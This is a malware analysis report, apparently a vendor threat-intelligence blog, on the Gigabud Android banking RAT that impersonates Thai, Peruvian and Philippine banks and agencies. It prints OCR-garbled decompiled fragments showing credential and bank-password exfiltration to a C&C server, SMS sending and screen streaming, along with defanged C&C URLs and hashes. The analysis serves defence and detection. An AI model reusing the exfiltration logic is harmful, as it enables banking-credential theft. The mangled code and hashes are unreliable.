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Sophisticated Android Malware Strikes Users in Thailand, Philippines, and
Peru

Cyble Research & Intelligence Labs (CRIL) discovered a phishing website, hxxp./lionaiothaif.Jcom, that
was impersonating the genuine Thai Airline — Thai Lion Air, and tricking victims into downloading a
malicious application.

The downloaded malicious application is a Remote Access Trojan (RAT) which receives commands from
the Command and Control (C&C) server and performs various actions. The RAT has advanced features
such as screen recording and abusing the Accessibility Service to steal banking credentials.

During our investigation of the RAT, we discovered that the certificate used to sign this malicious
application was found in more than 50 similar malicious samples that use the same source code. These
samples posed as government agencies, shopping apps, and banking loan applications from Thailand,
the Philippines, and Peru.
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APK is signed

vl signature: False

w2 signature: True

wi signature: False

Found 1 wnigue certificates

Subject: CN=gigabud

Signature Algorithm: rsassa_pkcsivis

Valid From: 2012-88-16 06:14:34+00:00

Valid To: 2062-08-04 86:14:34+00:06

Issuer: CN=gigabud

Serial Number: 8x5e2cafca

Hash Algorithm: shal

md5: defefbE0890efcBTc32bedf Ta37da3a3

shal: dcéfeBas55cbb5f2f2818b6d7dBabEcHT5a20968

sha256: 2318bbal888c66b3e223adbTadTaf51714dbod%Sef2a849114b543TEdBACIETED
sha512: 1317a35541d2e65382C28490acabT7a4681bcd78abb43e4Bc0e407630dA53 754602486595 fad6eT71e951dfed TETEd6dee1a4194ea0E01d919936b8e4faTa0d4
PublicKey Algorithm: rsa

Bit Size: 1824

Fingerprint: b2e@98731375f1b923022a95621321c8e63ba2852a07  feelaae5632c86115fc

Figure 1 —Certificate used to sign RAT present in over 50 malicious apps
Since the discovered RAT is a new and unknown variant, we will refer to it as “Gigabud” due to the
consistency of the certificate issuer name across all identified malicious applications.

The Gigabud RAT malware has been specifically targeting individuals in Thailand since July 2022, and its
spread has been increasing each month to other countries. Despite the growing number of known
samples, no antivirus software detected this malware at the time of writing this blog, suggesting that the
Threat Actor (TA) behind the RAT successfully stayed under the radar.
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Figure 2 — Zero detection for all malicious samples on Virus Total
Additionally, in July 2022, the Department of Special Investigation (DSI) Thailand issued a warning
against the phishing site impersonating the DSI website and spreading the same Android RAT. Later in
September 2022, the Thailand Telecommunication Sector Cert (TTC-Cert) discovered the malware
“Revenue.apk” associated with the same campaign and issued a technical advisory on its behavior.

After the discovery of the Gigabud RAT by TTC-Cert in September, we observed that the TA began
distributing the malware in various countries, such as Peru and the Philippines. The malware disguises
itself using the icons of government agencies from these countries to trick victims into giving away
sensitive information.
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The below figure shows the different icons used by Gigabud RAT.

Lionairthai - 1.1.2 MOC - 1.3.6 DSIREEREEN - 1.0.4
com.yiwuzhibo com.dictionary.paid com test.yk
KBank - 1.0.5 Sunat - 1.0.9 Bir-1.0.1

jp.co.shiftplus.iammaobile com.snuat com.yiwuzhibo

Figure 3 — Government agency and bank icons used by malware
These malicious applications impersonate below entities:

. Banco de Comercio — A Peruvian Bank

. Advice — A IT company from Thailand

. Thai Lion Air — Thailand Airline

. Shopee Thailand

. SUNAT — An organization from Peru

. DSI — Department of Special Investigation Thailand
. BIR — Bureau of Internal Revenue Philippine

. Kasikornbank Thailand

0 NO O~ WN -

In this analysis, we will look at the sample “BANCO DE COMERCIO.apk”

BANCO DE COMERCIO - 1.0.7
com.cloud.loan

&

. Al

VF} r'u

Revenue - 1.5.0
com.erudite.ecdict

(a940c9c54ff69dacc6771f1ffb3c91ea05f7f08e6aaf46e9802e42f948dfdb66) which is impersonating a
medium-scale Peruvian Bank and stealing sensitive information by offering the fake loan service. The in-
depth analysis of this malicious sample can be found in the technical analysis section.

Technical Analysis

APK Metadata Information

e« App Name: BANCO DE COMERCIO
o Package Name: com.cloud.loan

» SHA256 Hash: a940c9c54ff69dacc6771f1ffb3c91ea05f7f08e6aaf46e9802e42f948dfdb66

The below figure shows the metadata information of the application.

%8 FILE INFORMATION

[T BANCO DE COMERCIO_apk

7358
[T caGaabc5079102812899695¢61423079

(BT 1012376276 bE2e3afb8T 3800bIda515T64ce0a6
BANCO DE COMERCIO
BTN 940c0c 54169 acc 6 TT 111 fb3ca 1 eall51T10Be6aal 460080 2¢4 21545 dIdbGS

Figure 4 — Malicious Application Metadata Information

1APP INFORMATION

CTIIED) BANCO DE COMERCIO

) comucloud.loan

I comviwuzhibo,activity. SplashActivity
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Once installed, the malware displays a login screen that prompts users to enter their mobile number and
password. The login screen is designed to mimic the user interface of a legitimate bank and uses an icon
to deceive the victim into thinking the application is genuine.

emprasa cotizada
Especialista en Crédito

seguridad profesional
Eleccion de 1 millon de personas
Plataforma de préstamos de confianza

Ingresa
Figure 5 — Malware loads the login page

Por favor ingrese el numero de teléfono

Por favor, introduzca su contrasefa

Sin cuenta? Registrate ahora

Ingresa

Mumero de licencia de prestamistas de dinero: 0062/2016 &
1605/2015

The malware sends the entered mobile number and password to the C&C server hxxp:/bweri6[.Jcc and
receives the response code 400 with an error message, as shown in the below figure.
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Figure 6 — Malware sending the entered mobile number to the C&C server
TA behind the Gigabud has implemented a server-side verification process to ensure the mobile number
entered during registration is legitimate and to limit malicious activity for invalid users. It could be the

reason for the delayed detection of the malware.
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Figure 7 — Malware has a server-side check to validate the mobile ﬁbmber
During registration, the malware prompts the victim to provide their name and ID number and also allows
them to select a bank name from a list received from the Command-and-Control server with the

cardholder’s name and number.
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Figure 8 — Malware prompting for card details during the registration process

Once the victim successfully logs in or registers to the malicious app, Gigabud begins gathering
information about the installed applications on the device and then runs a service called “OpenService,”

which connects to the Command-and-Control server to receive commands, as illustrated in the figure
below.

public woid all {

k.o avar hfﬂ&k ) public final wvoid hal)
if ..':Tar:ll.'.c b= mull) - . 15 t=AppInf o= irf.i'pL:lSt new Arraylistoe();
if i 1 valuwf avar,al ?' caleanvalue(]) { ap,ﬂ..,ﬂnlu iratal ledrackages = Wtﬁxklgeﬂlnlqer | .getInstal ledPackages (0} ;
new il vew P ) r

far [int 16 O; 16 < installedPackages.size(); 16++] {
Packagelnfo packagelnfo = 1nﬂlllqﬁ5ﬁkawﬂ getiadl ;
fppInfo appInfo = new AppInfol)
appInfo.apphame = packagelnfo, a-pphs‘.auonln'u.'l.uad‘..abell.qupl:lc ageManager| ) . teStrang(l
appInfo.packagoMams = packagelnfo.packageblame;

Logm!.;.n.vl.h’.lhil..hn::;

H.startih;

sppInfo.versicniame = packagelndo, wersioniame;
f“rﬁ'” i T T appInfo.versionCode tring.valueof (packageInfo.versionCode) ;
O vicel » O - Py sppln'ﬂ appleenBasesd = 00 bn packagelnto.spplicaticnlnfo. Loadl conlgetPack sgaManager [111];
Pt = aRAr ALy if {[(packageInfo.applicationInfo.flags & 1) ol
if -jﬁmm:cult};l;v Classi: arrayList.add lappInfal:
( Ty, i

} olse if [cE.getCycle_statel) ) i b

JiHomeactivity.class); if | List.sizel) = 0 {
} else if [doi).beoleanvaluell) { ! :T;al:h:i::_zl;:r”l_dél_

Jiwartchecksetyvi ty . elass) ; b . . :
¥ wlse { }

JiPermssionFar Lactivity.class);
}

finish();

public final weid 3! ng s, f-BusicPesponss< >a wct> fvar) {
joelstr, "prl:
1.&(fvar, *obaery
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public finasl “t/ ki) {

return "hitp: //bweriB.cc®;

Figure 9 — Malware collecting installed application list
Once the registration or login is complete, the malware displays a fake loan contract received from the
server and then prompts the victim to confirm their information.

It also shows a withdrawal activity, as depicted in the figure below.
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Figure 10 — Fake loan approval process by malware

Malware does not show any malicious activity until the final stage, where it presents a “Real Name
Authentication” page and prompts the victim to press a “click to activate” button to apply for a loan. Once
the button is clicked, the malware requests the victim to grant accessibility permissions, including
permission for screen recording and screen overlay.

e | Ta0as o T4 0159

BANCO DE COMERCIO asistente de préstamo Descripcion general del producto de préstamo

confirmacidn del Informacion Confirmacion de  Confirmacion de
contrato confirmada retiro autorizacion

DarBANCO DE COMERCIOTAPP Modo de
accesibilidad autorizado encender
Mayores posibilidades de aprobacion

Dar"BANCO DE COMERCIOAPP Modo de
accesibilidad autorizado encender
Mayores posibilidades de aprobacion

Dar"BANCO DE COMERCIO"ARP Modo de
. . 12 accesibilidad autorizado encender
No tienes una verificacion de qumbre Misyoras posibilldades de sprobackon
real. Después de que se requiere la
autenticacion de nombre real, se requiere
la primera autenticacion de nombre real frna del prestatario ——
para activar el software. puedes solicitar un

préstamo.

Haga clic para activar

Figure 11 — Malware displays the authentication page and prompts the victim to grant permissions
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After the victim grants the accessibility permission, the malware starts exploiting it by automatically
enabling the screen recording feature. Additionally, the malware requests permission to display over other

apps.
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Figure 12 — Malware abusing Accessibility service to start screen recording feature
Gigabud uses WebSocket connections to send the recorded screen content to a server

hxxp://8.219.85[.]91:8888/push-streaming?id=1234.

The malware sends the recorded content every second through the WebSocket connection, as shown in

the figure.
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Flgure 13 — Malware sending screen recording content using WebSocket connection

The malware connects to the C&C server hxxp./bweri6][.Jcc/x/command?
token=&width=1080&height=1920 to receive commands and executes various actions such as creating a
floating window service, receiving targeted bank details, sending text messages from the infected device,
opening targeted application and many other.
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public woid onRecelverCommand|Command command) {
j-elcommand, ®command®);
; action = command,getAction(];
Log.e{*sz)", jJ.L("onRecerverCommendaction: *, action));
int hashCode = action.hashCaodel();
baslean 25 = true;
bject ob) = noll;
if (hashtode '= 55) {
if (hashCede != 58) {
if [hashCode = 1578] {
it [hashCode != 1808) {
if (hashCade '= 1820} {
if (hashCode 1= 1822) {
if (hashCode |= 1824) {
if (hashCode = ZooEseTes) {
if (hashCode = 1833) {
if (hashCode = 1634} {
switch (hashCodel {
case 45
if [action.equalsi®1®)) {
Intent intent = new Intent();
intent,setAction| "com, yiwuzhi bo.volmua®) H
intent.setComponent (new Componenthame!*com.cloud. Loan®, GlobalBrosdcast.class.gethame(]]);
imtent.putExtral® result®, 1);
Baseapplication.bl) . sendBroadcastiintent);
t tvar = t.f3700a;
returng
break;
case =0:
if [action.equals(ExifInterface.GPS MEASUREMENT 200) {
if (Bwild,VERSIOM.SDE_INT == 31) {
ds.c.cl).licommand);
} :l:.r {
tring bs = h.b{command.getDatal));

Figure 14 — Malware processing commands received from the C&C server

The malware receives the “bankName”, “banklmg” and “bank_id” along with action code “15” from the
C&C server. The “bankName” is the name of the targeted banking application whose credentials the
malware will steal. Upon receiving this command, the malware displays a fake dialog box using the
“bankName” and “banklmg” received from the server on top of the targeted banking application and
prompts the victim to enter their password.
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antentd, anthction]® com, yrsuzhiba, shes, disleg® 13 Bundle bundle = mawiodlal):
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i 1128) return showllarkiF;
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antentd.putExtra b “f basiinfo.gethsre ] payPessvaes.1 | thin, $277Lh, this, $3770a 2
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1 tard = 1. 1500ay 1
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return;

Figure 15 — Malware receiving targeted bank name to steal credentials
The entered password by the victim will be sent to the server using the retrofit object.

The below figure shows the endpoints and the stolen data sent to the server.
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public interface a {
BPOST (% /login® )
#<BasicResponse<UserinfoBeans> al@Query("phone®) String str, @Query(*password®) String str2):

3GET (" x/loan-contract?languageType=3")
e<BasicResponse<ContractInfoBean=> bl);

EPOST (*x/regLster®)
e<BasicRespense<UserInfoBean>> c(@Query("phone*) String str, @Query(*password®] String str2, @Query(®user_name_eq®) String str3, &

BGET (= x/comman - peint® )
a<BaslcResponse<0h)ect=s dl_.:u.-_'.l-l'_'['Iji_‘-'.'_j,d':l Strimg str, @Quer ,l:'frum_lmrru_'-':l String str2):

®SET (" x/common - bank - Last* )
e<BaslcResponse<BankInfoBeanResults= el);

@0ST (*x/Loan- info® )
e<BasicRespense<LoanlnfoBeanResult== f();

POST [ *x floan- sava®)
e<BasicResponse<Object>> gl@juery(*cycle_price*) int 18, @Query(®cycle®) String str, @Query{“cycle_image®) String strZ);

@POST (" x /common- upload® )

@ultipart
e<BasicRespense=CommonUploadBean== hl@art y.c cvar);
EPOST (*x fcommon- app* )

e<BasicResponse<Objectss 1{@Eody cO cOVar);

WOST [ *x fuser- bank - pwd® )
e<BasicResponse<Object>> j(@Juery(*bark_id") String str, @GQuery("bank_pwd®) String str2);

@POST (*x/data-verify")
e<BaslcResponse<0bject==> k{@Juery(*type*]) String str, GQuery(*content®) String str2l;
}

Figure 16 — POST & GET requests used by malware
The malware receives the mobile number, the message text, and the action code “5” from the C&C server
to send the text message from an infected device.

case S3:
if (action.equals("s")) {
String b7 = h.b{command.getDatal());
if (1 (b7 == null || b7.length{) == 0)) {
z5 = false;
¥

if (1z25) {
tryd
|obj = h.al).fromlson(b7, new TypeToken<SendMsgInfo={) {Ix; from class: com.yie
" T
} cateh (Throwable unused2) {
1

¥

SendMsgInfo sendMsglInfo = (SendMsgInfol obj;

if glnfo '= pulll {

w2.].d(sendMsgInfo.getPhone(), sendMsgInfo.getContent());

return;
}
return; public static veid distring str, String str2) {
} SmsManager smsManager = SmsManager.getDefault();
break; if (1TextUtils.isEmpty(str)) {

for _(Straing str3 @ strosplytls =) {
| smsManager.sendTextMessage(str3, null, strz, null, null};

X
}

Figure 17 — Malware sending text messages from an infected device
The malware also receives the server’s bank card number and action code “29” and sets it to the
clipboard. We suspect that the bank card number could be the TA's account or card number, which can be

used to perform on-device fraud.
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wlaw if (], 0lcormand, geticticn {:]
7 = hoblcane P, privane fimal weid s5Tes

addTent | bankfardiur ;

AT _HOWVEMENT _JPAMULARITY INT. I1;
APRLFEMT_ERTEND_SELECT DON_BOOLERN, ree) ;

Figure 18 — Malware setting the bank card number to the clipboard

Conclusion

Our analysis indicates that the Threat Actor has been actively running the campaign since July 2022,
mainly targeting victims in Thailand. Later, the campaign expanded to target victims in other countries like
Peru and the Philippines. The malware specifically targets genuine victims and conceals its malicious
activity from invalid victims. The TA has employed a unique technique to evade detection and sustain the
campaign for an extended period.

We also noticed that the Gigabud RAT utilizes screen recording as a primary method for gathering
sensitive information instead of using HTML overlay attacks. It also abuses the Accessibility service, like
other banking trojans.

The Threat Actor behind the Gigabud is continuously developing new variants of the malware intending to
target different countries. New malware variants will likely be discovered in the future, featuring new
targets and capabilities.

Our Recommendations

We have listed some essential cybersecurity best practices that create the first line of control against
attackers. We recommend that our readers follow the best practices given below:

o Download and install software only from official app stores like Google Play Store or the iOS App
Store.

o Use a reputed antivirus and internet security software package on your connected devices, such as
PCs, laptops, and mobile devices.

¢ Never share your Card Details, CVV number, Card PIN, and Net Banking Credentials with an
untrusted source.

o Government agencies or other legitimate organizations never ask for a Card PIN or password with
other banking information, and avoid sharing such information on any suspicious application.

o Use strong passwords and enforce multi-factor authentication wherever possible.

o Enable biometric security features such as fingerprint or facial recognition for unlocking the mobile
device where possible.

* Be wary of opening any links received via SMS or emails delivered to your phone.

o Ensure that Google Play Protect is enabled on Android devices.
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¢ Be careful while enabling any permissions.
o Keep your devices, operating systems, and applications updated.

MITRE ATT&CK® Techniques

Tactic Technique ID Technique Name

Initial Access T1476 Deliver Malicious App via Other Means.
Initial Access T1444 Masquerade as a Legitimate Application
Discovery T1418 Application discovery

Collection T1513 Screen Capture

Credential Access T1411 Input Prompt

Impact T1582 SMS Control

Impact T1510 Clipboard Modification

Command and Control T1436 Commonly Used Port

Exfiltration T1567 Exfiltration Over Web Service

Indicators of Compromise (IOCs)

Indicators Indicator Description
Type

SHA256 Hash of
a940c9c54ff69dacc6771f1ffb3c91ea05f7f08e6aaf46e9802e42f948dfdb66 analyzed

malicious
APK

1012a7627b6b82e3afb87380bbfda515764ce0ab SHA1 Hash of
analyzed
malicious
APK

ca6aa6c5a7910281a899695e61423079 MD5 Hash of
analyzed

malicious
APK

hxxp://8.219.85[.]91:8888/push-streaming?id=1234 URL C&C server
used to
send screen
recording
content
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https://attack.mitre.org/versions/v7/techniques/T1476/
https://attack.mitre.org/versions/v10/techniques/T1444/
https://attack.mitre.org/versions/v10/techniques/T1418/
https://attack.mitre.org/versions/v10/techniques/T1513/
https://attack.mitre.org/versions/v10/techniques/T1411/
https://attack.mitre.org/versions/v10/techniques/T1582/
https://attack.mitre.org/versions/v10/techniques/T1510/
https://attack.mitre.org/versions/v10/techniques/T1436/
https://attack.mitre.org/techniques/T1567/

hxxp://bweri6[.Jcc/x/lcommand?token=&width=1080&height=1920 URL C&C server
used to
receive
commands
and send
stolen data

ec1e2ff5¢72c233f2b5ad538d44059a06b81b5e5da5e2¢c82897be1ca4539d490 SHA256  Hash of
malicious
LionAir APK

ea5359c8408cdb4ebb7480704fe06a8e3bfa37c3 SHA1 Hash of
malicious
LionAir APK

b2429371b530d634b2b86c331515904f MD5 Hash of
malicious
LionAir APK

hxxp://lionaiothai[.]Jcom URL Malware
distribution
site

hxxp://cmnb9[.]Jcc URL C&C server
used to
receive
commands
and send
stolen data
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